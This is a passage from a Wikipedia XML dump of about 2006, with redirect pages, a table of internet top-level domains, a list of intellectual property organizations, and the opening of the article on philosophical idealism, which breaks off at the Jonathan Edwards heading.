[[pl:Oddziaływania międzycząsteczkowe]]
[[pt:Força intermolecular]]
[[sl:Medmolekulska sila]]</text>
    </revision>
  </page>
  <page>
    <title>Interatomic force</title>
    <id>15418</id>
    <revision>
      <id>15912892</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Intermolecular force]]
</text>
    </revision>
  </page>
  <page>
    <title>Internet ccTLDs</title>
    <id>15419</id>
    <revision>
      <id>15912893</id>
      <timestamp>2004-09-23T23:11:53Z</timestamp>
      <contributor>
        <username>Joseph Dwayne</username>
        <id>52361</id>
      </contributor>
      <minor />
      <comment>REDIRECT [[country code top-level domain]]</comment>
      <text xml:space="preserve">#REDIRECT [[country code top-level domain]]</text>
    </revision>
  </page>
  <page>
    <title>IRQ</title>
    <id>15420</id>
    <revision>
      <id>30438521</id>
      <timestamp>2005-12-07T05:26:00Z</timestamp>
      <contributor>
        <username>Jsmethers</username>
        <id>614213</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Interrupt request]]</text>
    </revision>
  </page>
  <page>
    <title>List of Internet top-level domains</title>
    <id>15422</id>
    <revision>
      <id>41352558</id>
      <timestamp>2006-02-26T20:15:09Z</timestamp>
      <contributor>
        <ip>71.209.228.19</ip>
      </contributor>
      <text xml:space="preserve">The following is a '''list of currently existing Internet Top-level domains''' '''(TLDs'''). See [[Top-level domain]] for further information, including notes on TLDs which are not based on [[ISO 3166-1]].

{| border=&quot;1px&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2px&quot;
|- style=&quot;background-color: #a0d0ff;&quot;
!iTLD!!Entity!!Notes
|-
| [[.arpa]] || Address and Routing Parameter Area || This is an internet infrastructure tld.
|-
| [[.root]] || unknown || This is in root for unknown purpose, with only one entry (a TXT record).
|- style=&quot;background-color: #a0d0ff;&quot;
![[gTLD]]!!Entity!!Notes

|-
| [[.aero]] || air-transport industry || &amp;nbsp;
|-
| [[.biz]] || business || This is an open TLD; any person or entity is permitted to register.
|-
| [[.cat]] || Catalan || This is a TLD for websites in the [[Catalan language]] or related to Catalan culture.
|-
| [[.com]] || commercial || This is an open TLD; any person or entity is permitted to register.
|-
| [[.coop]] || cooperatives || The .coop TLD is limited to cooperatives as defined by the [[Rochdale Principles]].
|-
| [[.edu]] || educational || The .edu TLD is limited to institutions of learning (mostly U.S.), such as 2 and 4-year colleges and universities.
|-
| [[.gov]] || U.S. government || The .gov TLD is limited to U.S. government entities and agencies
|-
| [[.info]] || information || This is an open TLD; any person or entity is permitted to register.
|-
| [[.int]] || international organizations || The .int TLD is strictly limited to organizations, offices, and programs which are endorsed by a treaty between two or more nations.
|-
| [[.jobs]] || companies || The .jobs TLD is designed to be added after the names of established companies with jobs to advertise. At this time, owners of a &quot;company.jobs&quot; domain are not permitted to post jobs of third party employers.
|-
| [[.mil]] || [[Military of the United States|United States Military]] || The .mil TLD is limited to use by the U.S. military
|-
| [[.mobi]] || mobile devices || &amp;nbsp;
|-
| [[.museum]] || museums || &amp;nbsp;
|-
| [[.name]] || individuals, by name || This is an open TLD; any person or entity is permitted to register.
|-
| [[.net]] || network || This is an open TLD; any person or entity is permitted to register.
|-
| [[.org]] || organization || This is an open TLD; any person or entity is permitted to register.
|-
| [[.pro]] || professions || Currently, .pro is reserved for licensed doctors, attorneys, and certified public accountants only. A professional seeking to register a .pro domain must provide their registrar with the appropriate credentials.
|-
| [[.travel]] || travel and travel-agency related sites || &amp;nbsp;
|-
&lt;!--
|-
| [[.xxx]] || Adult-oriented websites ([[Pornography]]) || &amp;nbsp;
ICANN has approved this TLD in principle, but it has not been added to the root yet.
--&gt;

|- style=&quot;background-color: #a0d0ff;&quot;
![[ccTLD]]!!Country/dependency/region!!Notes
|-
| [[.ac]] || [[Ascension Island]] || &amp;nbsp;
|-
| [[.ad]] || [[Andorra]] || &amp;nbsp;
|-
| [[.ae]] || [[United Arab Emirates]] || &amp;nbsp;
|-
| [[.af]] || [[Afghanistan]] || &amp;nbsp;
|-
| [[.ag]] || [[Antigua and Barbuda]] || &amp;nbsp;
|-
| [[.ai]] || [[Anguilla]] || &amp;nbsp;
|-
| [[.al]] || [[Albania]] || &amp;nbsp;
|-
| [[.am]] || [[Armenia]] || &amp;nbsp;
|-
| [[.an]] || [[Netherlands Antilles]] || &amp;nbsp;
|-
| [[.ao]] || [[Angola]] || &amp;nbsp;
|-
| [[.aq]] || [[Antarctica]] || Defined as per the [[Antarctic Treaty System|Antarctic Treaty]] as everything south of latitude 60°S
|-
| [[.ar]] || [[Argentina]] || &amp;nbsp;
|-
| [[.as]] || [[American Samoa]] || &amp;nbsp;
|-
| [[.at]] || [[Austria]] || &amp;nbsp;
|-
| [[.au]] || [[Australia]] || Includes [[Ashmore and Cartier Islands]] and [[Coral Sea Islands]]
|-
| [[.aw]] || [[Aruba]] || &amp;nbsp;
|-
| [[.az]] || [[Azerbaijan]] || &amp;nbsp;
|-
| [[.ba]] || [[Bosnia and Herzegovina]] || &amp;nbsp;
|-
| [[.bb]] || [[Barbados]] || &amp;nbsp;
|-
| [[.bd]] || [[Bangladesh]] || &amp;nbsp;
|-
| [[.be]] || [[Belgium]] || &amp;nbsp;
|-
| [[.bf]] || [[Burkina Faso]] || &amp;nbsp;
|-
| [[.bg]] || [[Bulgaria]] || &amp;nbsp;
|-
| [[.bh]] || [[Bahrain]] || &amp;nbsp;
|-
| [[.bi]] || [[Burundi]] || &amp;nbsp;
|-
| [[.bj]] || [[Benin]] || &amp;nbsp;
|-
| [[.bm]] || [[Bermuda]] || &amp;nbsp;
|-
| [[.bn]] || [[Brunei|Brunei Darussalam]] || &amp;nbsp;
|-
| [[.bo]] || [[Bolivia]] || &amp;nbsp;
|-
| [[.br]] || [[Brazil]] || &amp;nbsp;
|-
| [[.bs]] || [[Bahamas]] || &amp;nbsp;
|-
| [[.bt]] || [[Bhutan]] || &amp;nbsp;
|-
| [[.bv]] || [[Bouvet Island]] || Not in use
|-
| [[.bw]] || [[Botswana]] || &amp;nbsp;
|-
| [[.by]] || [[Belarus]] || &amp;nbsp;
|-
| [[.bz]] || [[Belize]] || &amp;nbsp;
|-
| [[.ca]] || [[Canada]] || &amp;nbsp;
|-
| [[.cc]] || [[Cocos Islands|Cocos (Keeling) Islands]] || &amp;nbsp;
|-
| [[.cd]] || [[Democratic Republic of the Congo]] || Formerly [[Zaire]]
|-
| [[.cf]] || [[Central African Republic]] || &amp;nbsp;
|-
| [[.cg]] || [[Republic of the Congo]] || &amp;nbsp;
|-
| [[.ch]] || [[Switzerland]] (Confoederatio Helvetica) || &amp;nbsp;
|-
| [[.ci]] || [[Côte d'Ivoire]] || &amp;nbsp;
|-
| [[.ck]] || [[Cook Islands]] || &amp;nbsp;
|-
| [[.cl]] || [[Chile]] || &amp;nbsp;
|-
| [[.cm]] || [[Cameroon]] || &amp;nbsp;
|-
| [[.cn]] || [[People's Republic of China]] ([[mainland China|mainland]] only) || The [[special administrative region]]s of [[Hong Kong]] and [[Macau]] use separate Internet top-level domains. For the islands under the administration of the Government of the [[Republic of China|Republic of China on Taiwan]], such as [[Taiwan]], [[Quemoy]], [[Matsu]] and [[Penghu]], please refer to &quot;.tw&quot; .
|-
| [[.co]] || [[Colombia]] || &amp;nbsp;
|-
| [[.cr]] || [[Costa Rica]] || &amp;nbsp;
|-
| [[.cu]] || [[Cuba]] || &amp;nbsp;
|-
| [[.cv]] || [[Cape Verde]] || &amp;nbsp;
|-
| [[.cx]] || [[Christmas Island]] || &amp;nbsp;
|-
| [[.cy]] || [[Cyprus]] || &amp;nbsp;
|-
| [[.cz]] || [[Czech Republic]] || &amp;nbsp;
|-
| [[.de]] || [[Germany]] (Deutschland) || &amp;nbsp;
|-
| [[.dj]] || [[Djibouti]] || &amp;nbsp;
|-
| [[.dk]] || [[Denmark]] || &amp;nbsp;
|-
| [[.dm]] || [[Dominica]] || &amp;nbsp;
|-
| [[.do]] || [[Dominican Republic]] || &amp;nbsp;
|-
| [[.dz]] || [[Algeria]] || Not available for private use
|-
| [[.ec]] || [[Ecuador]] || &amp;nbsp;
|-
| [[.ee]] || [[Estonia]] || &amp;nbsp;
|-
| [[.eg]] || [[Egypt]] || &amp;nbsp;
|-
| [[.er]] || [[Eritrea]] || &amp;nbsp;
|-
| [[.es]] || [[Spain]] (España) || &amp;nbsp;
|-
| [[.et]] || [[Ethiopia]] || &amp;nbsp;
|-
| [[.eu]] || [[European Union]] || &amp;nbsp;
|-
| [[.fi]] || [[Finland]] || &amp;nbsp;
|-
| [[.fj]] || [[Fiji]] || &amp;nbsp;
|-
| [[.fk]] || [[Falkland Islands]] || &amp;nbsp;
|-
| [[.fm]] || [[Federated States of Micronesia]] || &amp;nbsp;
|-
| [[.fo]] || [[Faroe Islands]] || &amp;nbsp;
|-
| [[.fr]] || [[France]] || &amp;nbsp;
|-
| [[.ga]] || [[Gabon]] || &amp;nbsp;
|-
| [[.gb]] || [[United Kingdom]] || Seldom used; the primary ccTLD is [[.uk]]
|-
| [[.gd]] || [[Grenada]] || &amp;nbsp;
|-
| [[.ge]] || [[Georgia (country)|Georgia]] || &amp;nbsp;
|-
| [[.gf]] || [[French Guiana]] || &amp;nbsp;
|-
| [[.gg]] || [[Guernsey]] || &amp;nbsp;
|-
| [[.gh]] || [[Ghana]] || &amp;nbsp;
|-
| [[.gi]] || [[Gibraltar]] || &amp;nbsp;
|-
| [[.gl]] || [[Greenland]] || &amp;nbsp;
|-
| [[.gm]] || [[The Gambia]] || &amp;nbsp;
|-
| [[.gn]] || [[Guinea]] || &amp;nbsp;
|-
| [[.gp]] || [[Guadeloupe]] || &amp;nbsp;
|-
| [[.gq]] || [[Equatorial Guinea]] || &amp;nbsp;
|-
| [[.gr]] || [[Greece]] || &amp;nbsp;
|-
| [[.gs]] || [[South Georgia and the South Sandwich Islands]] || &amp;nbsp;
|-
| [[.gt]] || [[Guatemala]] || &amp;nbsp;
|-
| [[.gu]] || [[Guam]] || &amp;nbsp;
|-
| [[.gw]] || [[Guinea-Bissau]] || &amp;nbsp;
|-
| [[.gy]] || [[Guyana]] || &amp;nbsp;
|-
| [[.hk]] || [[Hong Kong]] || Hong Kong is a [[special administrative region]] of the [[People's Republic of China]]. It uses a separate internet top-level domain from the rest of China.
|-
| [[.hm]] || [[Heard Island and McDonald Islands]] || &amp;nbsp;
|-
| [[.hn]] || [[Honduras]] || &amp;nbsp;
|-
| [[.hr]] || [[Croatia]] (Hrvatska) || &amp;nbsp;
|-
| [[.ht]] || [[Haiti]] || &amp;nbsp;
|-
| [[.hu]] || [[Hungary]] || &amp;nbsp;
|-
| [[.id]] || [[Indonesia]] || &amp;nbsp;
|-
| [[.ie]] || [[Republic of Ireland|Ireland]] || &amp;nbsp;
|-
| [[.il]] || [[Israel]] || &amp;nbsp;
|-
| [[.im]] || [[Isle of Man]] || &amp;nbsp;
|-
| [[.in]] || [[India]] || &amp;nbsp;
|-
| [[.io]] || [[British Indian Ocean Territory]] || &amp;nbsp;
|-
| [[.iq]] || [[Iraq]] || &amp;nbsp;
|-
| [[.ir]] || [[Iran]] || &amp;nbsp;
|-
| [[.is]] || [[Iceland]] || &amp;nbsp;
|-
| [[.it]] || [[Italy]] || Restricted to companies and individuals in the [[European Union]]
|-
| [[.je]] || [[Jersey]] || &amp;nbsp;
|-
| [[.jm]] || [[Jamaica]] || &amp;nbsp;
|-
| [[.jo]] || [[Jordan]] || &amp;nbsp;
|-
| [[.jp]] || [[Japan]] || &amp;nbsp;
|-
| [[.ke]] || [[Kenya]] || &amp;nbsp;
|-
| [[.kg]] || [[Kyrgyzstan]] || &amp;nbsp;
|-
| [[.kh]] || [[Cambodia]] (Khmer) || &amp;nbsp;
|-
| [[.ki]] || [[Kiribati]] || &amp;nbsp;
|-
| [[.km]] || [[Comoros]] || &amp;nbsp;
|-
| [[.kn]] || [[Saint Kitts and Nevis]] || &amp;nbsp;
|-
| [[.kr]] || [[South Korea]] || &amp;nbsp;
|-
| [[.kw]] || [[Kuwait]] || &amp;nbsp;
|-
| [[.ky]] || [[Cayman Islands]] || &amp;nbsp;
|-
| [[.kz]] || [[Kazakhstan]] || &amp;nbsp;
|-
| [[.la]] || [[Laos]] || &amp;nbsp;
|-
| [[.lb]] || [[Lebanon]] || &amp;nbsp;
|-
| [[.lc]] || [[Saint Lucia]] || &amp;nbsp;
|-
| [[.li]] || [[Liechtenstein]] || &amp;nbsp;
|-
| [[.lk]] || [[Sri Lanka]] || &amp;nbsp;
|-
| [[.lr]] || [[Liberia]] || &amp;nbsp;
|-
| [[.ls]] || [[Lesotho]] || &amp;nbsp;
|-
| [[.lt]] || [[Lithuania]] || &amp;nbsp;
|-
| [[.lu]] || [[Luxembourg]] || &amp;nbsp;
|-
| [[.lv]] || [[Latvia]] || &amp;nbsp;
|-
| [[.ly]] || [[Libya]] || &amp;nbsp;
|-
| [[.ma]] || [[Morocco]] || &amp;nbsp;
|-
| [[.mc]] || [[Monaco]] || &amp;nbsp;
|-
| [[.md]] || [[Moldova]] || &amp;nbsp;
|-
| [[.mg]] || [[Madagascar]] || &amp;nbsp;
|-
| [[.mh]] || [[Marshall Islands]] || &amp;nbsp;
|-
| [[.mk]] || [[Republic of Macedonia]] || &amp;nbsp;
|-
| [[.ml]] || [[Mali]] || &amp;nbsp;
|-
| [[.mm]] || [[Myanmar]] || &amp;nbsp;
|-
| [[.mn]] || [[Mongolia]] || &amp;nbsp;
|-
| [[.mo]] || [[Macau]] || Macau is a [[special administrative region]] of the [[People's Republic of China]]. It uses a separate internet top-level domain from the rest of China.
|-
| [[.mp]] || [[Northern Mariana Islands]] || &amp;nbsp;
|-
| [[.mq]] || [[Martinique]] || &amp;nbsp;
|-
| [[.mr]] || [[Mauritania]] || &amp;nbsp;
|-
| [[.ms]] || [[Montserrat]] || &amp;nbsp;
|-
| [[.mt]] || [[Malta]] || &amp;nbsp;
|-
| [[.mu]] || [[Mauritius]] || &amp;nbsp;
|-
| [[.mv]] || [[Maldives]] || &amp;nbsp;
|-
| [[.mw]] || [[Malawi]] || &amp;nbsp;
|-
| [[.mx]] || [[Mexico]] || &amp;nbsp;
|-
| [[.my]] || [[Malaysia]] || &amp;nbsp;
|-
| [[.mz]] || [[Mozambique]] || &amp;nbsp;
|-
| [[.na]] || [[Namibia]] || &amp;nbsp;
|-
| [[.nc]] || [[New Caledonia]] || &amp;nbsp;
|-
| [[.ne]] || [[Niger]] || &amp;nbsp;
|-
| [[.nf]] || [[Norfolk Island]] || &amp;nbsp;
|-
| [[.ng]] || [[Nigeria]] || &amp;nbsp;
|-
| [[.ni]] || [[Nicaragua]] || &amp;nbsp;
|-
| [[.nl]] || [[Netherlands]] || &amp;nbsp;
|-
| [[.no]] || [[Norway]] || &amp;nbsp;
|-
| [[.np]] || [[Nepal]] || &amp;nbsp;
|-
| [[.nr]] || [[Nauru]] || &amp;nbsp;
|-
| [[.nu]] || [[Niue]] || &amp;nbsp;
|-
| [[.nz]] || [[New Zealand]] || &amp;nbsp;
|-
| [[.om]] || [[Oman]] || &amp;nbsp;
|-
| [[.pa]] || [[Panama]] || &amp;nbsp;
|-
| [[.pe]] || [[Peru]] || &amp;nbsp;
|-
| [[.pf]] || [[French Polynesia]] || With [[Clipperton Island]]
|-
| [[.pg]] || [[Papua New Guinea]] || &amp;nbsp;
|-
| [[.ph]] || [[Philippines]] || &amp;nbsp;
|-
| [[.pk]] || [[Pakistan]] || &amp;nbsp;
|-
| [[.pl]] || [[Poland]] || &amp;nbsp;
|-
| [[.pm]] || [[Saint-Pierre and Miquelon]] || &amp;nbsp;
|-
| [[.pn]] || [[Pitcairn Islands]] || &amp;nbsp;
|-
| [[.pr]] || [[Puerto Rico]] || &amp;nbsp;
|-
| [[.ps]] || [[Palestinian territories]] || [[West Bank]] and [[Gaza Strip]]
|-
| [[.pt]] || [[Portugal]] || &amp;nbsp;
|-
| [[.pw]] || [[Palau]] || &amp;nbsp;
|-
| [[.py]] || [[Paraguay]] || &amp;nbsp;
|-
| [[.qa]] || [[Qatar]] || &amp;nbsp;
|-
| [[.re]] || [[Réunion]] || &amp;nbsp;
|-
| [[.ro]] || [[Romania]] || &amp;nbsp;
|-
| [[.ru]] || [[Russia]] || &amp;nbsp;
|-
| [[.rw]] || [[Rwanda]] || &amp;nbsp;
|-
| [[.sa]] || [[Saudi Arabia]] || &amp;nbsp;
|-
| [[.sb]] || [[Solomon Islands]] || &amp;nbsp;
|-
| [[.sc]] || [[Seychelles]] || &amp;nbsp;
|-
| [[.sd]] || [[Sudan]] || &amp;nbsp;
|-
| [[.se]] || [[Sweden]] || &amp;nbsp;
|-
| [[.sg]] || [[Singapore]] || &amp;nbsp;
|-
| [[.sh]] || [[Saint Helena]] || &amp;nbsp;
|-
| [[.si]] || [[Slovenia]] || &amp;nbsp;
|-
| [[.sj]] || [[Svalbard]] and [[Jan Mayen]] Islands || Not in use
|-
| [[.sk]] || [[Slovakia]] || &amp;nbsp;
|-
| [[.sl]] || [[Sierra Leone]] || &amp;nbsp;
|-
| [[.sm]] || [[San Marino]] || &amp;nbsp;
|-
| [[.sn]] || [[Senegal]] || &amp;nbsp;
|-
| [[.so (domain name)|.so]] || [[Somalia]] || &amp;nbsp;
|-
| [[.sr]] || [[Suriname]] || &amp;nbsp;
|-
| [[.st]] || [[São Tomé and Príncipe]] || &amp;nbsp;
|-
| [[.su]] || former [[Soviet Union]] || Still in use
|-
| [[.sv]] || [[El Salvador]] || &amp;nbsp;
|-
| [[.sy]] || [[Syria]] || &amp;nbsp;
|-
| [[.sz]] || [[Swaziland]] || &amp;nbsp;
|-
| [[.tc]] || [[Turks and Caicos Islands]] || &amp;nbsp;
|-
| [[.td]] || [[Chad]] || &amp;nbsp;
|-
| [[.tf]] || [[French Southern and Antarctic Lands]] || &amp;nbsp;
|-
| [[.tg]] || [[Togo]] || &amp;nbsp;
|-
| [[.th]] || [[Thailand]] || &amp;nbsp;
|-
| [[.tj]] || [[Tajikistan]] || &amp;nbsp;
|-
| [[.tk]] || [[Tokelau]] || Also used as a free domain service to the public
|-
| [[.tl]] || [[East Timor]] || Old code .tp is still in use
|-
| [[.tm]] || [[Turkmenistan]] || &amp;nbsp;
|-
| [[.tn]] || [[Tunisia]] || &amp;nbsp;
|-
| [[.to]] || [[Tonga]] || &amp;nbsp;
|-
| [[.tp]] || [[East Timor]] || ISO code has changed to TL; .tl is now assigned but .tp is still in use
|-
| [[.tr]] || [[Turkey]] || &amp;nbsp;
|-
| [[.tt]] || [[Trinidad and Tobago]] || &amp;nbsp;
|-
| [[.tv]] || [[Tuvalu]] || Also sold as advertising domains
|-
| [[.tw]] || [[Republic of China]] ([[Free Area of the Republic of China|Taiwan area]] only) || This is only used in the area under the effective control of the Government of the [[Republic of China|Republic of China on Taiwan]], such as the islands of [[Taiwan]], [[Quemoy]], [[Matsu]] and [[Penghu]].
|-
| [[.tz]] || [[Tanzania]] || &amp;nbsp;
|-
| [[.ua]] || [[Ukraine]] || &amp;nbsp;
|-
| [[.ug]] || [[Uganda]] || &amp;nbsp;
|-
| [[.uk]] || [[United Kingdom]] || &amp;nbsp;
|-
| [[.um]] || [[United States Minor Outlying Islands]] || &amp;nbsp;
|-
| [[.us]] || [[United States|United States of America]] || &amp;nbsp;
|-
| [[.uy]] || [[Uruguay]] || &amp;nbsp;
|-
| [[.uz]] || [[Uzbekistan]] || &amp;nbsp;
|-
| [[.va]] || [[Vatican City|Vatican City State]] || &amp;nbsp;
|-
| [[.vc]] || [[Saint Vincent and the Grenadines]] || &amp;nbsp;
|-
| [[.ve]] || [[Venezuela]] || &amp;nbsp;
|-
| [[.vg]] || [[British Virgin Islands]] || &amp;nbsp;
|-
| [[.vi]] || [[U.S. Virgin Islands]] || &amp;nbsp;
|-
| [[.vn]] || [[Vietnam]] || &amp;nbsp;
|-
| [[.vu]] || [[Vanuatu]] || &amp;nbsp;
|-
| [[.wf]] || [[Wallis and Futuna]] || &amp;nbsp;
|-
| [[.ws]] || [[Samoa]] || Formerly Western Samoa
|-
| [[.ye]] || [[Yemen]] || &amp;nbsp;
|-
| [[.yt]] || [[Mayotte]] || &amp;nbsp;
|-
| [[.yu]] || [[Federal Republic of Yugoslavia|Yugoslavia]] || Now [[Serbia and Montenegro]]; ISO code has changed to CS; [[.cs]] is reserved, but has not yet been put into use.
|-
| [[.za]] || [[South Africa]] (Zuid Afrika) || &amp;nbsp;
|-
| [[.zm]] || [[Zambia]] || &amp;nbsp;
|-
| [[.zw]] || [[Zimbabwe]] || &amp;nbsp;
|}

==External links==
*[http://www.iana.org/domain-names.htm IANA's information on TLDs]
*[http://www.isc.org/ops/ds/reports/2004-01/dist-bynum.php The Internet Domain Survey]

[[Category:Top-level domains]]

[[cs:Seznam internetových TL domén]]
[[et:Tippdomeenide loend]]
[[es:Lista de dominios de Internet]]
[[fr:Liste des Internet TLD]]
[[id:TLD]]
[[nl:Lijst van top-level-domeinnamen op het Internet]]
[[ja:トップレベルドメイン一覧]]
[[no:Landskoder (internett)]]
[[pl:Lista domen najwyższego poziomu]]
[[pt:Lista de TLDs]]
[[ro:Listă de domenii internet]]
[[ru:Национальный домен верхнего уровня]]
[[sr:Списак највиших Интернет домена]]
[[tr:İnternet üst seviye alan adları listesi]]</text>
    </revision>
  </page>
  <page>
    <title>Irgun gang</title>
    <id>15423</id>
    <revision>
      <id>15912897</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Irgun]]
</text>
    </revision>
  </page>
  <page>
    <title>Industrial property organizations</title>
    <id>15424</id>
    <revision>
      <id>15912898</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Intellectual property organization]]
</text>
    </revision>
  </page>
  <page>
    <title>Intellectual property organization</title>
    <id>15425</id>
    <revision>
      <id>39559641</id>
      <timestamp>2006-02-14T07:40:16Z</timestamp>
      <contributor>
        <username>Edcolins</username>
        <id>51336</id>
      </contributor>
      <minor />
      <comment>/* Specialized organisations */ fmt</comment>
      <text xml:space="preserve">'''Intellectual property organizations''' encompass international intergovernmental organizations that involve cooperation in the area of [[copyright|copyrights]], [[trademark|trademarks]] and [[patent|patents]], and non-governmental, non-profit organizations, lobbying organizations, think thanks, as well as professional associations.

== General organisations ==
* [[World Intellectual Property Organization]] (WIPO)
* [[African Regional Intellectual Property Organization]] (ARIPO)
* ''[[Organisation Africaine de la Propriété Intellectuelle]]'' (OAPI) or African Intellectual Property Organization

== Specialized organisations ==

=== Patent offices ===
{{main article | '''[[Patent office]]'''}}

=== Patent-related organisations ===
*[[European Patent Organisation]] (EPO or EPOrg)
*[[Eurasian Patent Organization]] (EAPO)
*[[GCC Patent Office|Patent Office of the Cooperation Council for the Arab States of the Gulf]]  (GCC)

=== Trademark-related organisations ===
*[[Office for Harmonization in the Internal Market]] (OHIM)
*[[Benelux Trademarks Office]]
*[[European Trademark Office]] (''?different from OHIM?'')

=== Design-related organisations ===
*[[Benelux Designs Office]] (BDO)

== Think tanks, institutes and non-profit organizations ==
* [[American Intellectual Property Law Association]] (AIPLA)
* [[International Association for the Protection of Industrial Property]] (AIPPI)
* [[Centre for International Industrial Property Studies]] (CEIPI)
* [[Center for Intellectual Property Studies]] (CIP)
* [[Institute of Patentees and Inventors]]
* [[Institute of Professional Representatives before the European Patent Office|European Patent Institute]] (epi)
* [[International Association for the Protection of Industrial Property]] (AIPPI)
* [[International Federation of Intellectual Property Attorneys]] (FICPI)
* [[International Intellectual Property Alliance]] (IIPA)
* [[International Intellectual Property Institute]] (IIPI) [http://www.iipi.org/]
* [[International Trademark Association]] (INTA)
* [[Japan Intellectual Property Association]] (JIPA)
* [[Max Planck Institute for Intellectual Property, Competition and Tax Law]]
* [[Queen Mary Intellectual Property Research Institute]]
* [[Trade Marks, Patents and Designs Federation]] (TMPDF) [http://www.tmpdf.org.uk/]

== See also ==
* [[Intellectual property]]
* [[List of organizations]]
* [[Patent attorney]]
* [[Patent clerk]]

[[Category:Intellectual property organizations| ]]
[[Category:Intellectual property]][[Category:International organizations]]
[[vi:T&amp;#7893; ch&amp;#7913;c s&amp;#7903; h&amp;#7919;u trí tu&amp;#7879;]]</text>
    </revision>
  </page>
  <page>
    <title>Idealist</title>
    <id>15427</id>
    <revision>
      <id>15912901</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Idealism]]
</text>
    </revision>
  </page>
  <page>
    <title>Idealism</title>
    <id>15428</id>
    <revision>
      <id>40627537</id>
      <timestamp>2006-02-21T22:50:30Z</timestamp>
      <contributor>
        <ip>204.52.215.101</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the '''philosophical''' notion of Idealism. Idealism is also a term in [[Idealism in international relations theory|international relations theory]] and in [[Idealism (Christian eschatology)|Christian eschatology]].''

'''Idealism''' is an approach to [[philosophy|philosophical enquiry]]. As a basis for [[cosmology]], or an approach to understanding the existence, idealism is often contrasted with ''[[materialism]]'', both belonging to the class of [[monism|monist]] as opposed to [[dualism|dualist]] or [[pluralism|pluralist]] [[ontology|ontologies]]. The approach to idealism by western philosophers has been different from that of eastern thinkers. In western thought ''the ideal'', generally relates to direct knowledge of subjective mental ideas, or images. It is then usually juxtaposed with ''[[realism]]'' in which the real is said to have absolute existence prior to and independent of our knowledge. [[Epistemology|Epistemological]] idealists might insist that the only things which can be directly ''known for certain'' are ideas. In eastern thought, as reflected in [[Hindu idealism]], the concept of ''idealism'' takes on the meaning of [[consciousness]], essentially the living consciousness of an all-pervading ''[[God]]'', as the basis of all phenomena. A variant of [[oriental]] idealism is [[Consciousness-only|Buddhist idealism]].

==History==
'''Idealism''' names a number of philosophical positions with quite different tendencies and implications.  

===Idealism in the East===
Several [[Hinduism|Hindu traditions]] and [[History of Buddhist schools|schools of Buddhism]] can be accurately characterized as idealist. Some of the Buddhist schools are called &quot;[[Consciousness-only]]&quot; schools as they focus on consciousness without a God or soul. 
.

===Idealism in the West===
====Antiphon====
In his chief work ''Truth'', [[Antiphon]] wrote: &quot;[[Time]] is a [[thought]] or a [[measure]], not a [[substance]].&quot; This presents time as an ideational, internal, mental operation, rather than a real, external object.

====Plato====
{{main|Platonic idealism}}

[[Plato]] proposed an idealist theory as a solution to the [[problem of universals]]. A universal is that which all things share in virtue of having some particular property. So for example the wall, the moon and a blank sheet of paper are all white; ''white'' is the universal that all white things share. Plato argued that it is universals, [[The Forms]], or [[Platonic Ideals]] that are real, not specific individual things. Confusingly, because this idea asserts that these mental entities are ''real'', it is also called ''[[Platonic realism]]''; in this sense ''realism'' contrasts with ''[[nominalism]]'', the notion that mental abstractions are merely names without an independent existence. Nevertheless, it is a form of idealism because it asserts the primacy of the idea of universals over material things. &lt;!-- More on maths here ? --&gt;

====Plotinus====
[[Schopenhauer]] wrote of this [[Neoplatonist]] philosopher: &quot;With [[Plotinus]] there even appears, probably for the first time in [[Western philosophy]], ''idealism'' that had long been current in the [[East]] even at that time, for it taught ([[Enneads]], iii, lib. vii, c.10) that the [[soul]] has made the [[world]] by stepping from [[eternity]] into [[time]], with the explanation: 'For there is for this [[universe]] no other place than the soul or [[mind]]' (neque est alter hujus universi locus quam anima), indeed the ideality of time is expressed in the words: 'We should not accept time outside the soul or mind' (oportet autem nequaquam extra animam tempus accipere).&quot; (''Parerga and Paralipomena'', Volume I, &quot;Fragments for the History of Philosophy,&quot; § 7)

====Malebranche====
[[Malebranche]] disagreed that if the only things that we know for certain are the ideas within our mind, then the existence of the external world would be dubious and known only indirectly. He declared instead that the real external world is actually God. All activity only appears to occur in the external world. In actuality, it is the activity of God. For Malebranche, we directly know internally the ideas in our mind. Externally, we directly know God's operations. This kind of idealism led to the pantheism of [[Spinoza]].

====George Berkeley====
[[George Berkeley|Bishop Berkeley]], in seeking to find out what we could know with certainty, decided that our knowledge must be based on our [[Perception|perceptions]]. This led him to conclude that there was indeed no &quot;real&quot; knowable object behind one's perception, that what was &quot;real&quot; was the perception itself. This [[subjective idealism]] or [[dogmatic idealism]] led to his placing the full weight of [[theory of justification|justification]] on our perceptions. This left Berkeley with the problem, common to other forms of idealism, of explaining how it is that each of us apparently has much the same sort of perceptions of an object. He solved this problem by having [[God]] intercede, as the immediate cause of all of our perceptions.
[[Schopenhauer]] wrote: &quot;Berkeley was, therefore, the first to treat the subjective starting-point really seriously and to demonstrate irrefutably its absolute necessity. He is the father of idealism....&quot; (''Parerga and Paralipomena'', Vol. I, &quot;Fragments for the History of Philosophy,&quot; § 12)

====Arthur Collier====
[[Arthur Collier]] published the same assertions that were made by [[George Berkeley|Berkeley]]. However, there seemed to have been no influence between the two contemporary writers. Collier claimed that the represented image of an external object is the only knowable reality. Matter, as a cause of the representative image, is unthinkable and therefore nothing to us. An external world, as absolute matter, unrelated to an observer, does not exist for human perceivers. As an appearance in a mind, the universe cannot exist as it appears if there is no perceiving mind. 

Collier was influenced by [[John Norris]]'s ([[1701]]) ''An Essay Towards the Theory of the Ideal or Intelligible World''. The idealist statements by Collier were generally dismissed by readers who were not able to reflect on the distinction between a mental idea or image and the object that it represents.

====Jonathan Edwards====
